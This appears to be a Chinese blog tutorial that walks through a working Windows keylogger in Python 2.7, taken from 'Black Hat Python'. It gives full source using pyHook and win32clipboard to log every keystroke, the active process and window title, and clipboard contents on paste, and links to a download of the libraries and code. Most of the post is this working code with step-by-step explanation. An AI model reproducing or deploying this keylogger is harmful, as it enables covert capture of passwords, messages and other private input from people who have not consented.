赞
踩
源码很简单,主要就是python黑帽子中键盘记录器的内容。
操作系统环境是win10 64位,环境python2.7,
用到的第三方库pyHook,pythoncom,win32clipboard。这三个库文章最后有资源。
先看运行效果
从上图中可以清楚看到,首先我在记事本中输入了一些文字,接着打开了Edge浏览器,在百度中搜索了一些内容。
下面是源码
# coding=utf-8 from ctypes import * import pythoncom import pyHook import win32clipboard user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None def get_current_process(): # 获得前台窗口句柄 hwnd = user32.GetForegroundWindow() #1 # 获得进程ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) #2 # 保存当前的进程ID process_id = "%d" % pid.value # 申请内存 executable = create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) #3 psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #4 # 读取窗口标题 window_title = create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title),512) #5 # 输出进程相关信息 print print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) #6 print # 关闭句柄 kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process)
第一部分,定义了一些变量和一个函数get_current_process()。
这个函数的功能时获取当前活动的窗口及对应的进程ID。
在这个函数中。
#1 先调用GetForeGroundWindow函数。返回桌面上当前活动窗口的句柄。
#2 将上面获得的句柄作为参数调用GetWindowThreadProcessId。它返回对应的进程ID。
#3 打开进程,返回当前进程句柄。
#4 利用返回的句柄,获得进程对应的可执行文件的名字。
#5 通过调用GetWindowTextA函数,获得窗口标题栏中显示的文本字符。
#6 将所有的信息通过一种格式进程输出。
下面,完成键盘记录器的核心代码
def KeyStroke(event): global current_window # 检查目标是否切换了窗口 if event.WindowName != current_window: #1 current_window = event.WindowName get_current_process() # 检测按键是否为常规按键(非组合键等) if event.Ascii > 32 and event.Ascii < 127: #2 print chr(event.Ascii), else: # 如果输入为CTRV-V,则获得剪贴板内容 if event.Key == "V": #3 win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[PASTE] - %s" % (pasted_value), else: print "[%s]" % event.Key, # 返回直到下一个钩子事件被触发 return True # 创建和注册钩子函数管理器 kl = pyHook.HookManager() #4 kl.KeyDown = KeyStroke #5 # 注册键盘记录的钩子,然后永久执行 kl.HookKeyboard() #6 pythoncom.PumpMessages()
#4 定义了pyHook的HookManager管理器。
#5 将自定义的回调函数KetStroke 与 KeyDown事件进行了绑定。
#6 通过PyHook钩住了所有的按键事件,当目标按下键盘上的一个键时,KeyStroe函数就会被调用,它的参数时触发这个事件的对象。
#1 在这个函数中我们首先要做的时检查用户是否切换了窗口,如果切换了窗口,我们需要重新获取当前窗口的名字及进程信息。
#2 我们检查按键是否在可输出的ASCII码范围之内,如果是,输出即可,如果按键是修饰键(如Shift/Ctrl或Alt键)或其他非标准的按键,那么我们从事件的对象中提取按键的名称。
#3 我们检查用户是否在进行粘贴操作,如果是,我们提取剪贴板中的内容。
最后回调函数返回True来允许执行队列中的下个hook事件。
其中用到的第三方库和源码
https://download.csdn.net/download/weixin_39318421/12654631下载
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。